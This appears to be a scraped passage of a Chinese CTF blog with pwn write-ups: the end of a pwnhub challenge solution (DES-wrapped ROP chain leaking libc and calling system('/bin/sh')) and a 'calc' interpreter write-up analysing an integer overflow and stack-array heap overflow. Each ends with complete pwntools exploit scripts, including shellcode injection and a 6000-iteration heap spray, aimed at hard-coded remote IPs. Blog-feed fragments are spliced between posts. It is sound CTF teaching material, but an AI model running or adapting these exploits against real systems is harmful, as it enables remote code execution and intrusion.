<p>本来我以为这样就结束了,但是很悲催的发现好像缺少设置rdx的gadget。我发现的唯一能能比较好的设置rdx的gadget就是init函数中的万能gadget,但是由于这个题目能够用的gadget数量最多就只有8个,init函数的gadget太大(要进行2次6连pop,还要add rsp,8),所以就很尴尬了。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000000405020 loc_405020: ; CODE XREF: init+54j
.text:0000000000405020 mov rdx, r13
.text:0000000000405023 mov rsi, r14
.text:0000000000405026 mov edi, r15d
.text:0000000000405029 call qword ptr [r12+rbx*8]
.text:000000000040502D add rbx, 1
.text:0000000000405031 cmp rbx, rbp
.text:0000000000405034 jnz short loc_405020
.text:0000000000405036
.text:0000000000405036 loc_405036: ; CODE XREF: init+36j
.text:0000000000405036 add rsp, 8
.text:000000000040503A pop rbx
.text:000000000040503B pop rbp
.text:000000000040503C pop r12
.text:000000000040503E pop r13
.text:0000000000405040 pop r14
.text:0000000000405042 pop r15
.text:0000000000405044 retn
</code></pre></div></div>
<p>这个问题卡了我很长时间。以至于后来我手动在各个函数寻找找能够设置rdx的方法,甚至把got能直接调的函数都调了一遍,期待在函数内部可以把rdx设置妥当,结果都失败了。最后只能又回到万能gadgets,看了一下栈的布局,发现第二次6连pop的最后一次pop时,栈顶居然是main函数的地址,这是巧合么?然后第一次6连pop中的第一个pop本来是将rbx设置为0的,但是我发现rbx在pop之前也是0!这又是巧合么?这样就可以第一次6连pop第一个pop省掉了,orz。省掉第一个pop之后第二次6连pop结束后的ret就正好返回到main了。所以问题也得以解决,于是又可以愉快的ROP弹shell了。</p>
<h2 id="exploit">Exploit</h2>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *;
from struct import pack;
from Crypto.Cipher import DES
port=12345
objname = "pwnhub"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="amd64", os="linux")
context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def xor(a,b,len=8):
res=""
for i in range(len):
res+=(chr(ord(b[i])^ord(a[i])))
return res
def getcrypt(ahead,p):
#---------------------------------------
#t=ahead[len(ahead-8):len(ahead)]
#p1=dec(p)^t
#enc(p1^t)=enc(dec(p)^t^t)=enc(dec(p))=p
#---------------------------------------
deskey="explorer";
enc1=DES.new(deskey,2,deskey);
enc2=DES.new(deskey,2,deskey);
c1=enc1.encrypt(ahead+p);
c2=enc2.decrypt(c1[0:len(ahead)]+p);
return ahead+c2[len(ahead):len(ahead)+8];
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
#ROP Gadgets
prdi=0x00404217
writeplt=0x04008C0
writegot=0x607020
main=0x400add
setpara=0x0405020
pppppr=0x40503b
deskey=0xBE00BE76EC5CE70D;
deskey=p64(deskey);
enc1=DES.new(deskey,2,deskey);
s1="explorer".ljust(0xf8,"\x00")
e1=enc1.encrypt(s1);
enc2=DES.new("explorer",2,"explorer");
s2="admin".ljust(8,"\x00");
payload1='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload1+=p64(pppppr);
payload1+=p64(1)#rbp
payload1+=p64(writegot)#r12
payload1+=p64(16);
payload1+=p64(writegot)
payload1+=p64(1)
payload1+=p64(setpara)
payload1+=p64(main)
payload1+=p64(main)
payload1.ljust(232,'\x41')
payload1.ljust(232,'\x41')
for i in range(0,len(payload1),8):
s2=getcrypt(s2,payload1[i:i+8])
e2=enc2.encrypt(s2.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e2;
write(p3);
sleep(0.1);
write_addr=readall()[2:10];
write_addr=u64(write_addr)
system=write_addr-0xb1340
binsh=write_addr+0x95aa7
print hex(system)
enc3=DES.new("explorer",2,"explorer");
s3="admin".ljust(8,"\x00");
payload2='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload2+=p64(prdi)+p64(binsh);
payload2+=p64(system)
payload2+=p64(main)
payload2.ljust(232,'\x41')
for i in range(0,len(payload2),8):
s3=getcrypt(s3,payload2[i:i+8])
e3=enc3.encrypt(s3.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e3;
write(p3);
sleep(0.1)
readall()
io.interactive();
attack("54.222.142.77")
</code></pre></div></div>Atum这个题目输入数据必须为题目中指定的数据包的格式,否则程序会直接exit。如果输入符合格式,v 会让你很粗对包进行解析,根据解析道结果继续读入新的包进行进一步解析,之后会开启socket进行IO。pwnhub.cn 故事的开始 calc Writeup2016-12-05T00:00:00+08:002016-12-05T00:00:00+08:00http://a7um.github.io/2016/12/05/calc<p>本题可以看作是一个简单解释器,输入程序指令,输出解释执行的结果。不过解释器的功能比较少,只支持变量定义以及几个预设函数的调用。
这个题目PIE和NX都是没有开的,我猜测出题人不开NX是为了与解释性语言的JIT page呼应(当然只是我的猜测</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p>本题有两个漏洞,一个是整数溢出漏洞,另一个是堆溢出漏洞</p>
<h3 id="mul整数溢出漏洞">mul整数溢出漏洞</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int mul(){
....
else if ( !strcmp(v8->vartype, "str") && !strcmp(v7->vartype, "int") )
{
time = (char *)v7->value;
dest = (char *)calloc(v8->varlength * (unsigned int)v7->value + 1, 1u);
//integer overflow!!!
v9 = dest;
if ( !dest )
{
puts("memory error.");
exit(-1);
}
while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}
v3 = assign_str(globalvar, v9);
push((_DWORD *)var_stack, (int)v3);
}
....
}
</code></pre></div></div>
<p>如上,在mul函数在处理字符串与整数相乘时,在分配存储结果的内存时存在一个整数溢出漏洞。如果v8->varlength * v7->value > max_unsigned_int,那么calloc分配了的内存大小为v8->varlength * v7->value % max_unsigned_int,但是在接下来的memcpy过程中,系统会向这块内存填入v8->varlength * v7->value 大小的内存, 从而造成了堆溢出。</p>
<h3 id="var_stack-func_stack的堆溢出漏洞">var_stack func_stack的堆溢出漏洞</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void __cdecl __noreturn main(){
.....
vardatabase = (int **)calloc10();
var_stack = (int)calloc84();
func_stack = (int)calloc84();
.....
while ( 1 )
{
memset(&s, 0, 0x100u);
printf("> ");
if ( !fgets(&s, 0x100, stdin) )
break;
v11 = strrchr(&s, '\n');
if ( v11 )
*v11 = 0;
parse(&s);
}
.....
}
int __cdecl parse(char *s){
s1 = strtok(s, " ");
while ( s1 ){
.....
if ( !strcmp(v20->vartype, "function") )
push((_DWORD *)func_stack, (int)v20);
else
push((_DWORD *)var_stack, (int)v20);
.....
}
}
</code></pre></div></div>
<p>可以看到,var_stack和func_stack的大小为0x84,但是在parse函数中没有对输入的s进行检查,输入为一堆空格隔开的字符串/整数/函数时,var_stack或func_stack就会溢出。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<h3 id="利用整数溢出漏洞">利用整数溢出漏洞</h3>
<p>在漏洞分析时我们也看到,这个整数溢出漏洞会在memcpy时转换为堆溢出漏洞。有了堆溢出漏洞,接下来就怎样利用了。</p>
<p>在程序中,有如下结构体来存储需要解释执行的程序中的变量与函数。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 cvar struc ; (sizeof=0x10, align=0x4, copyof_2)
00000000 varname dd ? ; offset
00000004 vartype dd ? ; offset
00000008 value dd ? ; offset
0000000C varlength dd ?
00000010 cvar ends
</code></pre></div></div>
<p>其中varname存有的是指向变量名的指针,vartype是变量类型,当vartype=”fuction”时,value指向一个函数,当vartype=”str”,value指向的是一个字符串。如果在堆溢出中,将value覆盖为要读的内存地址且将vartype改写为addr of “str”,则可以实现任意读。如果将value覆盖为shellcode的地址,且vartype改写为addr of “fuction”,则可以实现任意代码执行。</p>
<p>这个漏洞的利用有两个难点:</p>
<ol>
<li>这个堆溢出会不断复制字符串到新的缓冲区,直到程序访问ummaped memory崩溃,我们要想办法让复制过程在达到我们溢出目的之后停下来</li>
<li>这个堆溢出可以越界写的内容是一个循环的字符串,即|content|content|content|content|,可说是有一定的限制,我们需要想办法在这种限制条件下完成我们的利用。</li>
</ol>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}
</code></pre></div></div>
<p>对于第一个问题,想让复制停下来有两个方法,一个是v2或者time=0,另一个是让v8->length=0,v2和time在栈上,所以很难通过堆溢出覆盖,但是v8->varlength在堆上,所以我们可以通过覆盖v8->value为指向0x00000000的内存,且v8->value为某次memcpy循环所写入的最后4个字节,那v8->varlength会在新一轮循环中被写为0,从而使这个漫长的复制过程停下来</p>
<p>对于第二个问题,其实很好解决,在本题中,我们想要覆盖的一个时cvar结构体,另一个是v8->value,只要通过对堆中的数据进行精心的排布,使其满足溢出点与最后一个需要覆盖的位置之间没有任何重要的数据,且覆盖cvar和覆盖v8->value在构造payload上没有任何冲突就可以了</p>
<p>还有一点值得说明的是,add函数在处理字符串+字符串最后是会把结果free掉的,所以我们可以通过调用add函数来在堆上留一个坑,从而控制溢出点在堆中的位置。</p>
<p>有了以上内容最后的利用就很简单了,第一次堆溢出覆盖cvar,将vartype覆盖为rodata上的字符串”str”,将value覆盖为bss上的堆地址,将varname随便覆盖为rodata段中的一个字符串(我用的spo0,调用spo0就可以泄漏位于bss上的堆地址。第二次堆溢出再次利用覆盖cvar,将vartype覆盖为rodata上的字符串function,将value覆盖为堆上的shellcode的地址,将varname随便覆盖为rodata段中的一个字符串(我用的bool)。再次输入bool就会get shell</p>
<p>当然shellcode什么的要提前在堆中准备好,另外为了不让溢出覆盖重要的数据结构,spo0和bool要在漏洞触发前先定义一次,以使其在字符串的索引树中有相应的节点。</p>
<h3 id="利用堆溢出漏洞">利用堆溢出漏洞</h3>
<p>在parse函数中,有这样的代码</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int __cdecl parse(char *s){
......
s1 = strtok(s, " ");
while ( s1 ){
......
while ( !is_stored_zero((_DWORD *)func_stack) ){
v10 = pop((_DWORD *)func_stack);
(*(void (**)(void))(v10 + 8))();
}
......
}
}
int __cdecl pop(_DWORD *a1)
{
return a1[(*a1)-- + 1];
}
</code></pre></div></div>
<p>可以看出,var_stack和func_stack的前四个字节为索引,溢出var_stack所在的堆块,覆盖func_stack的索引为overflowed_index,那在(*(void (**)(void))(v10 + 8))();就相当call *(*(func_stack+ overflowed_index)+8),从而实现控制流劫持。</p>
<p>问题是overflowed_index只能是堆地址,那(func_stack+ overflowed_index)会访问到ummaped region。</p>
<p>解决方法就是heap spray, 讲道理这是我第一次在CTF题中碰到堆喷,以至于如果不是队友提醒我都没有注意到。我们向堆中喷大量”0x0c”*200+shellcode, 那因为堆被喷过的关系,(func_stack+ overflowed_index)会被mapped,而且*(func_stack+ overflowed_index)+8==0x0c0c0c0c,(*(void (**)(void))(v10 + 8))();会成功着陆到nop slide, 最终会调用shellcode拿到shell</p>
<h2 id="exploit">Exploit</h2>
<h3 id="整数溢出版">整数溢出版</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *;
port=20001
objname = "calc"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,10);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def addstr(a,b):
data="add";
data+=" \"";
data+=a
data+="\" \"";
data+=b
data+="\""
writeline(data);
def mulstr(a,b):
data="mul";
data+=" \"";
data+=a
data+="\" ";
data+=str(b);
writeline(data);
def varstr(a,b):
data="var ";
data+=a;
data+=" = \"";
data+=b;
data+="\"";
writeline(data);
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
bss_end=0x0804D0B8;
spo0=0x804AE82
var_stack=0x0804D0B4;
c_str=0x0804ae8b
c_func=0x0804ae99
varstr("shellcode","\x90"*100+asm(shellcraft.sh()))
varstr("spo0","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("spo0","padding_padding_padding_");
a=p32(spo0)+p32(c_str)+p32(var_stack)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
readall()
readall()
writeline("spo0");
if ip!=0:
readuntil("\n> ")
heap=readuntil("\n");
heap=u32(heap[:-1]);
shellcode=heap+0x748+0x30
varstr("bool","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("bool","padding_padding_padding_");
a=p32(spo0)+p32(c_func)+p32(shellcode)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
writeline("bool");
readall()
io.interactive();
attack("54.223.84.142")
</code></pre></div></div>
<h3 id="堆溢出堆喷版">堆溢出&堆喷版</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *;
port=20001
objname = "calc"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
#context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
return data;
def write(data):
io.send(str(data));
def writeline(data):
io.sendline(str(data));
def varstr(a,b):
data="var ";
data+=a;
data+=" = \"";
data+=b;
data+="\"";
writeline(data);
print readuntil(">")
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
spraydata=asm(shellcraft.sh());
spraydata=spraydata.rjust(200,"\x0c");
varstr("a","a");
for i in range(6000):
print i;
if i % 6000 == 0:
print "spraying %d"%(i)
writeline("* "+"\""+spraydata+"\""+" 500")
readuntil(">")
writeline("a "*50)
readuntil(">")
io.interactive();
#attack()
attack("54.223.84.142")
</code></pre></div></div>Atum本题可以看作是一个简单解释器,输入程序指令,输出解释执行的结果。不过解释器的功能比较少,只支持变量定义以及几个预设函数的调用。 这个题目PIE和NX都是没有开的,我猜测出题人不开NX是为了与解释性语言的JIT page呼应(当然只是我的猜测